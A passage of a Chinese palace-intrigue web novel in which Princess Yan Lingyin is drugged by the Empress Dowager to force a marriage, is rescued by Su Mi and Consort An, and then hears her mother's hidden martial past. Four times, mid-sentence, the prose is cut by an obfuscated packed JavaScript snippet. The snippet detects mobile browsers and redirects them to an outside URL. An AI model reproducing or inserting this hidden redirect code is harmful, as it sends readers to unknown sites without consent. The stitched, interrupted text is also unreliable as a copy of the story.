难保什么呢,难保长路漫漫不会有人伺机暗算,还是难保谢朗不会一剑杀了她? 但她的父皇,也不是没想到过她枉死的可能。 只是不在乎罢了。 她收回视线,不再看崔太后那张有些走了样的脸,轻声道:“皇祖母若无他事,泠音就先行告退了。” “江家那个小儿子,你可认识?” 晏泠音倏然抬头,眸中满是难以置信的愕然。 “别多心,哀家不过随口一问,只是听说三年前你为了他向懿儿求情,想来你们关系应当不错。” 晏泠音没想到堂堂太后会用这样卑劣的手段,一时只觉呼吸也窒住了。过了片刻,她才尽力平静道:“只是同门罢了,泠音和他素无往来。” “如此,”崔太后微微颔首,“哀家原本想着要成人之美,了却你一桩心愿呢。” 什么? 晏泠音脑中空白了一瞬。她忽然察觉到,这殿中的熏香似乎有些怪异,并非宁寿宫熏惯了的沉香,也不是什么花香果香。它要更浓郁些,嗅着也更甜腻。 而她的身子不知何时已开始发软,膝盖处的疼痛慢慢麻木了,取而代之的是难以言述的痒意。有什么在她的血液中涌动着,令她微微烦躁起来。 她瞬间明白了那是什么。 “……无耻!”晏泠音已顾不得什么长幼之礼,挣扎着想站起身来,“在后宫中用这种污秽之物,该加重刑……” 她只觉发晕,眼前的一切都模糊起来,崔太后的声音似乎远在天际:“江家的孩子已在入宫的路上,至迟两刻钟就到,过了今日,这场婚事才算真的定了。” “惠和,”她似乎叹了一声,“哀家当年没拦下你母妃,抱恨至今,至此才敢说一句,哀家是对得起你的。” 晏泠音刚站起便踉跄着绊了一下。她将长甲用力嵌入掌心,靠那点刺痛来维持清醒。如果今天真的如崔太后所愿,她和江渊然要怎么面对彼此?他如今还在查吕绍的案子,查老师的案子,他已经等了这么久,难道要他丢掉仕途,丢掉他守了这些年的抱负和执念,给这场肮脏的权力交易陪葬吗? 等了三年的,守着那些抱负和执念的,不只他一人。 沉重的殿门在她身后缓缓阖上,青荷慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431896|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱的声音隐隐从外殿传来。必须逃出去,晏泠音咬着牙,用力去揉已经不听使唤的膝盖,俯身时,腰间那枚玉佩在眼前一闪。 晏泠音顿了顿,忽然伸手握住了微凉的青玉。 那是母妃赠给她的平安玉。她曾经笑着说,这块玉是有灵性的,定能保我的泠儿长命百岁。 也不知是不是她的心理作用,当她沾血的手掌裹住那枚青玉时,一种触电般的感觉忽而钻进了四肢百骸。晏泠音只愣了一瞬,随即迅速转身,靠着那不知从何而来的力气拼命往门口奔去。 “拦住她!” 大部分宫人都在外殿和青荷纠缠,内殿中的几个离她都不算近,崔太后显然没想到她此时还有力气奔跑,尚不及反应,已让她挤进了将闭的门缝里。 外殿的宫人一拥而上,将她围在门前。晏泠音仍旧紧握着玉佩,可是方才那股力气只如昙花一现,如今已尽数消散,她的身体又开始发软,若不是扶着门,几乎就要瘫在地上。 “殿下!”青荷高声叫着,一脚踢开了缠在她身边的宫人,朝晏泠音这里奔来。她幼时跟着魏收习武,后来虽入了宫,但仍有些功夫在身上,若真要打起来,未必不能脱身。只是此处人太多,又碍着在宫内,不好闹出太大的动静,难免束手束脚。 “怎么会……”她好容易挤到晏泠音身前,扶了她一把,待到看清她的样子,声音已颤了起来,“奴婢守着,殿下先走!”她伸臂替晏泠音挡了一下,借力把她往外推,“走!” 晏泠音眼前一阵阵发黑。她跌跌撞撞地往外殿的大门跑去,往唯一的一道亮光跑去。一头扎进仲夏燥热的空气中时,她听到背后传来□□相撞的沉闷声响。哪怕脑中一片混乱,她仍能感觉到眼眶酸胀得厉害。 谁能帮她们?谁能救回青荷?母妃……母妃尚在病中,且太后未必会听她的。魏收……他根本不在宫内……今日之事定然会死死压住口风,青荷要是脱不了身,只怕生死难料…… 跑快点,再跑快点……晏泠音胸口剧痛,每走一步都觉天旋地转。她逼自己冷静下来。事实摆在眼前,只有唯一的办法。 今天没有晚朝,她的父皇应该还在雍平殿批阅奏折。他们上一回对面交谈还是三年之前,若非迫不得已,她本不想再去求他的。 但是青荷…… 酸软的双腿终于承受不住身体的重量,她身子一晃跌在了地上。晏泠音强撑着又站起来,摇摇晃晃地走了两步,却难以控制地再次往前倒去。 可这一次,她没有撞上坚硬的石板,一双柔软却有力的手臂接住了她。她跌进那人的怀抱,跌进了一片沁凉发苦的异香。 “救青荷……宁寿宫……” 她用了最后一丝力气说出这两句话,随后便陷入了昏沉黑暗里。 与此同时,正在宫道上匆匆疾走的江渊然被人叫住了,他回身时,见到了一身云水蓝裳的年轻女子。那是与她这个年纪并不相称的沉冷色调,但穿在她的身上,却显得分外妥帖,分外耐看。 江渊然认得她,在不久之前,在大理寺阴暗潮湿的牢狱里,他还遇到过她。 只是此时此境并非叙旧的良机,他着实有些惊讶,眉头也微微皱了起来:“崔姑娘?” 15. 解药 晏泠音身上热得厉害。 这有些像她七岁那年发的高烧,身子很重,头脑也昏沉沉的。唯一不同的,是她还觉得身上有点发痒。那种痒意不是被蚊虫叮咬后附在皮肤上的,它钻进了血液里,又沿着经络汩汩地流往全身。 她难耐地蜷缩起来,被汗浸过的布料黏在身上,温热潮湿。 朦朦胧胧间,她忽觉有什么柔软而微凉的东西抵在她的唇上,引着她放松了紧抿的唇,随后便有液体慢慢流进了她的口中。 晏泠音醒来时,天已经黑透了。 她向来有个习惯,即便在刚刚睡醒,神思倘恍之时,也会第一时间确认自己身处何地。这在刀尖舔血的江湖人士里倒十分常见,与其说是习惯,不如说是本能。 她已经不记得是什么时候、什么事情,将她逼出了这种“本能”了。 身侧的手指微蜷了一下,随即便传来柔滑的触感。是冰蚕丝,且不同于市面上流通的那些,质地极好,在这盛暑的天气里能令人遍体生凉。这样贵重的丝衾,绝不可能出现在怡和殿。 晏泠音一下子清醒过来。她仍然闭着眼,在一片黑暗里,其他感官便显得格外灵敏。她能听到屋外有女子低低交谈的声音,但因为离得远,听不清她们在说些什么。屋子里不热,许是放了冰盆,她身上的衣裳也已经换过了,干燥柔软。 屋中空寂,晏泠音轻嗅了一下,并未闻到半分香气。 即便是她那不喜熏香的母妃,也因为供佛的缘故,让怡和殿里外都浸透了檀香。就晏泠音所知,宫内唯一一座不熏任何香料的宫殿,是五皇子的母妃安在水所居的皓如殿。 安贵妃……昏迷前的记忆终于翻涌上来,晏泠音悚然一惊。她最后记得的,是那人将她抱起时手臂柔软的触感,以及她靠上去时鼻尖微苦的药气。 是他? 她起身的动静不大,却足以惊动站在窗边出神的男子。他转身望过来时,因为太过急切,碰倒了窗台上一只细颈的白玉瓶,被他眼疾手快地托住了。 晏泠音能清楚看见,那人原本蹙紧的眉心忽而就松开了,取而代之的是如释重负的欣喜。 “殿下醒了。” 屋内灯烛摇曳。昏朦的光线投照在他的脸上,反而能将那些柔和的线条描摹分明。这是她第一次见苏觅不戴面具的样子,即便此时处境尚不明朗,令人满心焦急,但晏泠音仍然怔了一瞬。 仿佛所有血色都被他眉心那点朱砂吸走了,苏觅的脸色苍白得近于病态。可就在那样如雪的荒芜中,生长出了极致的妖艳糜丽。 开在极寒山巅之上的琉璃叶也不过如此,光华流转,摄人心魄,同时却又极其脆弱,易碎得可怕。 晏泠音脑中闪过的第一个词,是祸水。 史册上所载的“祸水”多为红颜,于她还是第一次,这样直观地感受到何谓“男色”。 难怪他总戴着面具,如果就这样走到街上,不出半条路便要被瓜果砸死了。 放在平时,晏泠音会更谨慎些,无论怎样都要等对方先开口,但今日她着实有些心慌意乱,劈头便是一句:“青荷在哪里?” 连称呼都省了。 苏觅却并未着恼,答得认真:“她受了轻伤,上过了药,御医说并无大碍。贵妃娘娘已送她回怡和殿了。” 晏泠音的手不觉攥紧,牵动到掌心的伤口,带起一阵细微的疼痛:“是贵妃娘娘救了她?” 苏觅顿了片刻,温声答道:“是。” 那种沉默里有些暧昧不明的情绪,待到晏泠音反应过来时,屋内的气氛已无端地怪异起来。像是为了掩饰她毫无来由的心虚,晏泠音的目光从苏觅脸上移开,转而望向那只差点被碰倒的玉瓶:“苏公子,我欠你一个人情。” “殿下不必如此。”苏觅的声音依旧轻柔,“都是臣应该做的。” 安贵妃肯出手,确实帮了她大忙,毕竟她是后宫中唯一能同崔氏抗衡的人。但晏泠音很清楚,她绝不会无缘无故就善心大发,只为了救一个弱势公主的奴婢,竟公然与太后为敌。在意识到自己身处皓如殿的时候,晏泠音已经做好了偿付代价的准备。 但是苏觅呢? 这个同她无亲无故,又毫无利益往来的人,究竟为什么帮她? 他又为什么会刚巧出现在那里? 晏泠音的头隐隐痛了起来。她想掀了衾被下床,却发觉双腿仍有些酸软,努力了几次都使唤不动。她这才想起自己中了药,且她直觉,那不是什么普通的迷药。 也是直至此时她才觉出些后怕,若非青荷替她挡在那里,今夜恐怕会成为她永远的噩梦。 她挣扎得太过明显,苏觅上前几步,似是想来扶她。就在此时,门外传来了脚步声。苏觅的眉头不觉皱起。他看了眼晏泠音,忽而疾走几步,隐到了屋内宽大的屏风后面。 他……在避嫌? 或许是刚刚醒来的缘故,晏泠音的思绪还有些混沌。她后知后觉地意识到,在这样的时辰,这样的地方,一个年轻男子竟然同她共处一室,确实是件难以想象的事。还未等她细想,屋门已被推开,宫人垂首退去一旁,给身后的主子让出了路。 安贵妃的个头很小,几乎隐在宫人的影子里,虽然走得急了些,仪态却依旧端庄,面色也相当平静。 “惠和,”她先在屋内扫视了一圈,这才让目光落到晏泠音身上,“感觉可还好?要不要唤太医来?” 这位娘娘有小女孩般娇滴滴的音色,但因为语气板正,语速又拿捏得不紧不慢,反倒显出些不怒自威的味道。她长了一张不易显老的娃娃脸,兼之保养得宜,在这最不缺青春美貌的禁宫里,竟也稳稳地占了二十年的至高地。 即便在淑妃锋芒正盛之时,她也并未被打压下去。宫中私下里都传,至迟不过这几年,陛下就要把她晋为皇后了。 晏泠音不便行礼,只能在榻上欠身道:“一切都好,多谢安娘娘。今日之事,泠音无以为报。” 受了这样大的屈辱,这位年轻的公主竟还如此冷静,倒是让安贵妃多看了她两眼。宫内那些传闻并非毫无依据,看来,这一次她没选错人。 她虚抬了下手表明不必多礼,跟着便侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431897|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过头去看身后的一众宫人,淡声道:“公主醒了,身边也没人伺候,一个个地上哪儿躲懒去了?” 她这句话声音不高,但话音刚落,身后还站着的宫人已都跪了下去。屋里静得厉害,连声喘气都听不见。离安贵妃最近的宫女犹豫了片刻,低声道:“禀娘娘,原本是明钏守在这里,许是有什么事一时走开了。” 一时走开?晏泠音心念微动,又听到安贵妃不带波澜的声音:“等她回来,让她来见本宫。”同样是语气不重的一句,却让跪了一地的人齐齐打了个寒噤,方才答话的宫女更是脸色煞白,应了声“是”便紧抿着唇低下了头。 短短几句话,安贵妃治人用人的手段已可见一斑。晏懿择定她代理六宫,不是没有原因的。 晏泠音抬头时,正好撞上了安贵妃的目光,似乎正在不动声色地审视什么。她先一步垂下眼去,听见安贵妃叹道:“公主今日受惊了。事涉公主名节,且有关天家颜面,皓如殿上上下下不会漏出去半个字,还望公主莫要忧心。” 见她不提太后,只避重就轻地拈了这些话来讲,晏泠音便明白,这件事是不会有什么结果了。崔家一时是扳不倒的,即便安贵妃有心,也只能徐徐图之。何况她说得对,事情若闹大了,于谁脸上都不会好看。她不在意所谓名节的那些蠢话,但谢家难免要借此大做文章。更重要的是,外面会怎么传她和江渊然? 江渊然……晏泠音有些不安。他当时已经入宫了吗?现在有没有平安地回去? “泠音明白,”她暂时撇开烦扰的思绪,作出顺从的样子应道,“安娘娘费心了。” 安贵妃这次卖了个现成的人情,又意外抓到了太后的把柄,倒成了真正得利的渔翁。可渔翁似乎并未满足,跟着又开口问道:“本宫听闻,此事是因你的婚事而起?” 及至此时,安贵妃的嗓音里才有了些微的紧绷感。晏泠音不觉在心底笑了一声,也不知他谢朗究竟是何方神圣,前朝后宫,竟有这么多人想分一杯羹。 “是,父皇曾同泠音提过,有意于谢将军的小公子。” 说到“谢将军”的时候,她忽觉一道目光直直落在了自己身上。那不是安贵妃带着打量和探询的注视,它来自右侧的屏风后面,来自一个已屏息凝神许久没有动静的人。 她不能往屏风那里看,因而也不知苏觅现在是什么表情。 “谢小将军……”安贵妃慢慢重复了一遍,那双猫一样的眼睛眯了起来。怡和殿中那只白猫蹲在树下看鸟的时候,用的就是这样的眼睛。 “本宫先向你道声恭喜,谢小将军相貌堂堂,且年轻有为,确实是门好亲事。”她微微颔首,又用亲切的口吻道,“夜已深了,公主今日不妨就歇在皓如殿,本宫已着人知会了淑妃妹妹,免她挂心。” 晏泠音道过谢,跟着便依言躺下。安贵妃领着宫人出了门,又过了一阵,皓如殿已彻底安静下来。她仰面看着映在头顶的摇曳烛影,片刻后,听到了屏风后有脚步轻响。 “苏公子留步。”她低声唤住了那个已准备离开的人,“我还有事想要请教。” 16. 诘问 逆着微弱的烛光,苏觅回身朝她看过来。这个距离要交谈的话需拔高嗓音,对他们来说并不安全。因而他顿了顿,随即放轻了脚步走到她的床前。 “殿下。”他拂开罩衫,在床前单膝跪下,声音因为压得太低而有些发哑。 晏泠音已坐起了身。这样一来,两人的目光便大致居于一条线上,说话也没那么费力。 就是靠得有些太近了。 她很少和陌生男子保持这样亲昵的距离,更别说是在床榻边这种私人空间里。苏觅身上那股似有若无的药香再次萦绕过来,她的口鼻间都是那微微发苦的气息。 而他的脸凑近后看竟然更显艳美,尤其是那双眼睛,注视久了便令人微觉晕眩。不知道为什么,即便他的眉头早已松开,但晏泠音仍然无端地感觉到,面前这个人心情并不好。 她知道他多待一刻,他们两人便多担一分风险,因而单刀直入地发问:“公子为什么救我?” 苏觅偏了下头,又飞快地眨了下眼,显得有些无辜:“为什么不救?” 他的尾音微微上扬,让这句话听起来像个调侃似的玩笑。但晏泠音没有要笑的意思。苏觅不过是在绕弯子回避。他们两人之间,远没有熟悉到这种地步。 她没继续追问,转而换了话题:“公子为何会在皓如殿?” 外男无诏留在后妃殿内,怎么想怎么令人诧异。即便是安贵妃的亲生子晏眆,也因为已开府在外,不便太过频繁地入宫探视。可看苏觅这副泰然自若的样子,显然并不担心有杀身之祸。 她问得严肃,苏觅却莫名地闷声笑了起来。晏泠音皱了眉看他,他收了笑,又咳了两声,这才平心定气地开了口。 “大理寺右司在办案时,也是这样诘问犯人的吗?” 他的声线太柔,靠近了听尤其令人耳中发痒。此时提起晏泠音撒的那个谎,倒让她没来由地窘了一瞬。她微仰了身子和他拉开一点距离,跟着又听他道:“此事陛下允过。臣粗知琴艺,有时会被召至宫中,替陛下和娘娘助兴。” 他说助兴二字时语气平淡,不见有什么情绪,但晏泠音心中却倏然一紧。这便解释得通了,乐师和舞伎皆被视为贱民,召之即来挥之即去,在宫内连最下等的仆役都比不上。苏觅持帕替她擦拭衣裙时,那种仿自天生的低伏和顺从,绝不是一日两日能养出来的。 她的老师杜慎琴棋书皆称精绝,几年前晏懿大宴群臣时,曾半开玩笑地唤他说,杜卿,如此良夜盛景,朕可否请你弹奏一曲,为诸位添些酒兴? 一旁的宫人闻言早已奔去取琴,而那夜只饮了半盏清茶的杜慎却正色道,臣酒醉无力,不敢在陛下面前献丑。当时晏懿的脸色,无论何时想起都让人冷汗涔涔。 也是自那之后,京中说杜慎故作清高的言论才消退不少,一同在朝为官,侍奉的又是同一位主子,明眼人都看得出来,那所谓的清高是拿命去守的。宁肯触怒圣颜也拒不执琴,杜慎早已身体力行地教导了她,什么叫士可杀而不可辱。 只是时至今日,也只有杜慎一人敢这么做。偏偏她的父皇从没改换过性子,始终把践踏旁人的尊严作为乐事。 苏觅毕竟是幽国王室的公子,梁国如此对他,实非大国应有的待客之道。 或许是她脸上的惭色太过明显,连苏觅也怔了一下,轻声道:“殿下在想什么?” 晏泠音反问道:“我若据实相告,公子也会对我说真话吗?” 苏觅认真地看着她,那双漂亮的眼睛里嵌着烛光晶莹的碎片,一眨不眨:“臣为什么要对殿下说谎?” 晏泠音的呼吸一窒。或许是这句话中邀请的意味太过强烈,她终于问出了那个早就该问的问题:“公子为什么会来这里?” 这里指的不是皓如殿,而是晏泠音方才躺着的这间屋子。如果更确切一点,是苏觅现在所据的这个位置。 苏觅显然听懂了,但没有立刻回答。他伸手去怀中掏出了什么,将它托在手掌上平举到晏泠音面前。那是一块花纹繁复的青玉。 晏泠音见了便是一惊。她下意识地伸出手去,想取回那块不知何时被人解下的玉佩。但苏觅忽而又收了手,让她抓了个空。 ……? 那人的眸中染了星星点点的笑意,竟然比烛光的碎影更显明亮,一直罩在他身上的沉闷感终于褪去些许。他其实一直扬着嘴角,但和方才那些弯弯绕绕的笑语对答不同,这似乎是他今晚第一个纯出己心的笑。 随后那些笑意转眼又隐却了。他转过目光去看晏泠音的右手。昨日他将玉佩从她手中取出时,她的掌心满是斑斑血迹。 究竟要用多大的力气,下怎样的狠心,才能把手掌掐得那样鲜血淋漓?有半截指甲都断在了肉里,嵌得极深。若非他及时赶到……不,算不上及时了。 他将已擦拭干净的玉佩递还给晏泠音,已经没了逗她的心情,轻声道:“臣是来归还玉佩的。昨日事出突然,为了替殿下清理伤口,冒犯了。” 膏药微凉的触感还留在掌心,晏泠音讶然道:“是你?”她很快反应过来,微微皱眉,“苏公子……” 他打断了她,又将一只小瓷瓶放在了她的手中:“臣身边恰好带着金疮药,是臣用惯了的,不会留疤。殿下的手这几日莫要近水,早晚敷一次,会好得快些。”他顿了顿,又补充道,“此后我便带殿下去见娘娘了。” 就是说,换衣裳和喂药解毒,都是皓如殿的宫人和太医做的,他的“冒犯”仅止于此,让她不要多想。 可能是是屋内太静的缘故,屋外忽然响起的宫人脚步声便显得格外清晰。晏泠音和苏觅同时屏住了呼吸,默契地沉默了片刻,直至那阵声音过去。苏觅就这样一面注视着她,一面慢慢站起身来。他身量极高,站直后便遮了大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431898|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半的烛光,投下浓重的暗影来。从她这个角度,晏泠音已看不清他的脸。 “如果殿下还有什么要问的,两日后巳时三刻,臣会在灰瓦巷背街的茗香楼恭候殿下。” 说完苏觅便没有再看她。他转过了身,轻巧地向门口走去。 * 第二天晏泠音起得很早。两名宫女悄然推门进来时,她已靠坐在床头出了好一会儿神。听到门响,她才回过头冲她们颔首道:“有劳两位姊姊。” 她原本的衣裳已被换下,宫女给她送来的是安贵妃的旧衣。她比安贵妃高出不少,那套衣裙在她身上颇有些勉强,但晏泠音并不在意。两人替她梳洗挽发时,她认出了昨日开口应话的那名宫女,便闲谈般问道:“明钏还好吗?” 宫女听得一愣,似是没想到她还记着昨天那件事,一惊之下答得有点磕绊:“还、还好,昨日她见娘娘的药快吃完了,殿下又还睡着,便往太医院跑了一趟。”想了想,她又带点紧张地补了一句,“娘娘睡眠浅,那是安神的药。虽然娘娘总说不吃也无妨,但明钏操心得很,每回换方子抓药,都是她张罗的。” 原来如此。晏泠音点了点头,又问道:“安娘娘没有罚她吧?倒是我的过错。” 昨日安贵妃要在她面前立威,她若出声保那个宫女,反而会适得其反。但说到底,此事毕竟是因她而起,今日走前,她需得和安贵妃求个情。 “没有没有,殿下可莫要折煞她了。”宫女连忙摇头,“昨夜乐师也宿在殿中,是他先发现娘娘的药吃完了,这才提醒明钏去取的。明钏回来后,也找娘娘说过此事,现在娘娘已不生气了。” 晏泠音递玉簪给她的手在空中顿了一下,随后笑道:“如此便好。” 不知是出于什么心理,她偏过头去,扫了眼右手边的窗扇。昨日苏觅就是立在那里,窗台上还摆着那只差点被他碰倒的瓷瓶。但就是这一眼,却让晏泠音的身子忽地僵住了。从半掩的两扇窗户间,依稀能望见一道人影。那人就静静地站在皓如殿外,一身素色,衬着夏日里草木翻涌的绿意,便如从接天碧叶间托举而出的一朵白荷,无声摇曳着。 她的母妃,竟然亲自来接她了。 有那么一瞬,晏泠音几乎怀疑自己还在做梦。直到身后的宫女也讶然道“那不是淑妃娘娘吗”,她才倏然回神,起身便往外走。 这几年淑妃一直病着,日日诵经礼佛,从未踏出怡和殿半步。 晏泠音几乎是跑出去的。她自幼受的教养严格,宫中有嬷嬷,东云台内有师长,那些言谈、举止、仪态,全是在戒尺下一点一点磨出来的,容不得半分差错。 可她提着裙摆跨过皓如殿的门槛时,已顾不上那么多了。 她原以为自己不委屈的,但听到母亲的声音时,无端便红了眼眶。 “泠儿,”温敏遥遥冲她露出一个笑,“我们回家。” 17. 霁月 我们回家。 这四个字像是有某种奇特的力量,让她发冷发僵的身子有了一瞬回温。晏泠音这才感觉到,从她在皓如殿醒来的那一刻起,她的神经便是紧绷着的,半刻都没有放松过。 她在宫中学会的第一种“本能”,是畏惧。 温敏显然已经听说了昨日的事。在外言谈不便,她对此只字未提,只上前一步,轻轻握住了晏泠音的手。她比女儿稍矮一些,身材也更纤瘦一些,单薄得像张受不得风吹的纸。 若非因为眉眼间有病容,绘在这张纸上的,本该是张倾国倾城的脸。 温敏指腹的薄茧蹭过晏泠音掌侧,有些发痒,却让她无端心安。母亲身上染着白檀香,那是怡和殿的味道,亦是那座冰冷宫殿中唯一的烟火气。 她之所以把怡和殿当“家”,也只是因为温敏。 “母妃,泠儿没事。”心中定下来了,晏泠音一开口便是安抚温敏。虽然母亲面上不显,但若不是忧心如焚,也不会这么早就赶来寻她。 毕竟,当年温敏对丈夫心死之时,宣称此生不愿再出怡和殿。 被崔氏羞辱时晏泠音没哭,被宫人围堵在宁寿宫时她也没怕,可现在被母亲握着手,被她用那样温柔的目光注视时,晏泠音的呼吸却颤了起来。她竭力让自己平静下来,装作浑不在意的样子,笑着说:“真的没……” 温敏却忽而翻过了她的手,盯着她掌心未消的伤口皱起了眉。 晏泠音心里一跳,正想着找什么借口搪塞过去,跟在温敏身后的青荷已低声道:“贵妃娘娘来了。” 青荷的手腕处有一道淤青,但看着精神还算好。晏泠音的目光瞥过去时,青荷不动声色地垂了袖摆,将伤处掩住了,只抬眸冲她一笑。 晏泠音原本压下去的心绪又浮动起来。她轻阖了下眼睫,这才转头看向身后。安贵妃扶着宫女的手,袅袅娜娜地走了过来。 “温妹妹,”她唤得亲切,像是在同阔别已久的姊妹叙旧,“身子可好些了?劳你走这一趟,正好我摆了早膳,妹妹也一起用罢。” 她又看向一旁的晏泠音,颔首道:“公主气色不错,我已传了太医,让他再给你诊诊脉,也放心些。” 皓如殿同怡和殿素来并无交情,温敏本不愿多留,听到那句太医时又犹豫了。她心下清楚,安贵妃有意示好,其意不在她这个与废黜无异的妃子,而是为着拉拢晏泠音。她不怕得罪人,也不在意宫内的蜚语流言,但女儿和她不同。 晏泠音的婚事已非她自主,若是还要牵扯上宫内的争斗,日后嫁过去,只会过得更加艰难。 她松开晏泠音的手,足步轻移,站到了安贵妃身前。安贵妃还没反应过来,已觉手中一凉,被塞进了一只温润的黑玉手钏。 她不觉讶然:“妹妹这是……” “安姊姊。”温敏嗓音柔,咬字也细,带了点南方水土才能养出来的和软。过去这种口音听在宫内妃嫔耳中,便是拿腔作调,绵里藏针,说不出的可厌可憎,但许是她近些年的处境实在凄凉,今日这几个字里,竟有些示弱求和的味道。 “泠儿的事无以为报。妹妹身上没什么东西,只这手钏常年戴着诵经,许也沾了些佛前的灵气。姊姊若不嫌弃,便收了它罢。妹妹定日夜为姊姊祝祷,愿姊姊福寿康宁,万事顺遂。” 黑玉以全黑为贵,这只手钏通体如墨,没有半丝杂质,一看便知是世上无双的珍品。安贵妃心中不觉暗喜。她听过宫中传言,知道黑质璞玉难遇,历来被誉为有母仪天下的贵气,她曾有心寻访数年而不得,谁想淑妃手中竟存了一只。 温敏倒也真的舍得,要拿它来还晏泠音的人情。 安贵妃说着客气,心下却有了思量。梁国风气看重祥瑞,放过谢家固然可惜,但这送上门来的吉兆也没有拒绝的道理。成色这么漂亮的黑玉手钏,便是崔太后也没拿到过。她离后位已然不远,接下来和崔氏抗衡,此物定能出大力。 无妨,她笑着挽住温敏的手臂,亲亲热热地引了她往殿中走。淑妃能为了女儿出怡和殿一次,便有办法让她出第二次。日子还长,谢家的事不急,大可慢慢筹划。 * 这天晚上有很好的月亮。晏泠音单手托腮,坐在窗前怔怔出神。不知过了多久,身后传来细微的响动,跟着便散开了浅淡的檀香。 “……母妃。”晏泠音垂了眼,没有回头。 这些年,她越来越安静,越来越沉默,也越来越像她的母亲。 难过的时候总一个人闷着,受了伤也不言不语,藏着满腹心事,在人前还要笑着作出和顺的样子。 她当然有责任。因为种种原因,她冷落女儿太久了。久到晏泠音已习惯了不同她倾诉,而她们的相处,也只剩每日晚间一顿饭的辰光。 温敏走到晏泠音身后,握住她的手,指腹揉过她掌心的伤,轻声道:“疼吗?” 晏泠音抿着唇,摇了摇头。 她知道女儿的脾气,看着柔弱,狠起来却不惜对自己下手。宫中到处是咬人的狗,轻易便能将好好的人逼成凶戾的疯子。但杜慎却教了她霁月光风,教她弃绝阴诡,在泥泞和血污中挺直脊梁做人。 晏泠音难过,不是在自怜自伤,更不是要挟怨报复。腌臜事从来都不少见,她很清楚自己要走的是条什么样的路。 她只是想老师了。 温敏见桌案上摆着一只瓷瓶,透出清凉的药气,便伸手拾起。她问晏泠音可曾上过药了,女儿仍是摇头,她便拉了椅子坐下,拨开木塞,倒了些膏药,轻柔地替她涂抹起来。 触到一处很深的血口时,晏泠音的手微不可察地缩了一下,温敏动作不停,只涂得更慢了些。 “母妃小时候好玩闹,上树捉鸟,下河摸鱼,淘气的事可没少干。磕磕绊绊的,身上每日都要添些新伤。我自小便没见过爹娘,照料我、帮我处理伤口的,是师父和师兄。” 晏泠音还是头一回听她讲起这些事,不觉怔然。 “后来师兄学成,拜别师父走了。不久,师父也交托了门内之事,独自云游去了。只我还留在那里。谁能想到,当年最不守规矩的小师妹,最后却挑了门派的大梁。” 晏泠音迟疑道:“母妃……” “我想着,若是我能让门派繁荣起来,也算对得起师父的恩养。将来师父和师兄回来,我也能告诉他们,我没辜负他们的期许。” “可惜呀,”她的嗓音清清淡淡,听不出太多情绪,“后来师父死了,师兄被仇家追杀,好容易才逃了回来。我当时已择定了继任的弟子,想等师兄养好了伤,就卸了担子,让他协理门派。我的性命是师父所救,功夫也是师父所传,既提得了三尺剑,便是天涯海角也要寻过去,报了弑师的仇。” 晏泠音屏了呼吸,轻声道:“然后呢?” “然后……”温敏冲她笑了笑,“战火烧了上来,师兄没能逃过,门派也没了。我狼狈出逃,却得知世事难料,仇家也已死于烽铎。我无家可回,亦无仇可寻,不过浑浑噩噩,苟且偷生罢了。” 晏泠音不觉心下酸涩。她记忆中的母妃总是浅笑温然,守礼得宜,像是从来都没什么欲求,不争亦不抢,这世上少有什么能牵动她的心绪。这几年里,宫人都说她们母女很像,外貌、性格,都带了点天山冷冽的雪意。仿似青山忽遇暴雪,一夜北风后,曾经鲜活的一切都被冻在了冰雪里,只留下触手生寒的旧日遗迹。 但明眼人也都能看出,温敏比她的女儿冻得更久一点,那些苍郁的草木、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431899|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奔涌的河流,都再也不会解冻、不会复苏了。 她的心已经彻底死掉。 晏泠音反握住母亲的手,两人静默相对,一时无言。良久,她忽然想到什么,待明白过来时,声音都发了颤。 “母妃既曾习武,为何……” 整个后宫都知道淑妃病弱,每日都要进些药补。 “身怀武艺怎能侍君?”温敏叹了口气,“泠儿,遇上你父皇,母妃不悔,但也希望,你莫要再走母妃的路。” 晏泠音的心狂跳起来。她这才知道为何温敏的身子总是这么虚弱,为何她看着越来越瘦,却连太医也说不出她生的是什么病。她的一切都已葬在了这阴冷的深宫里。 ……值得吗? 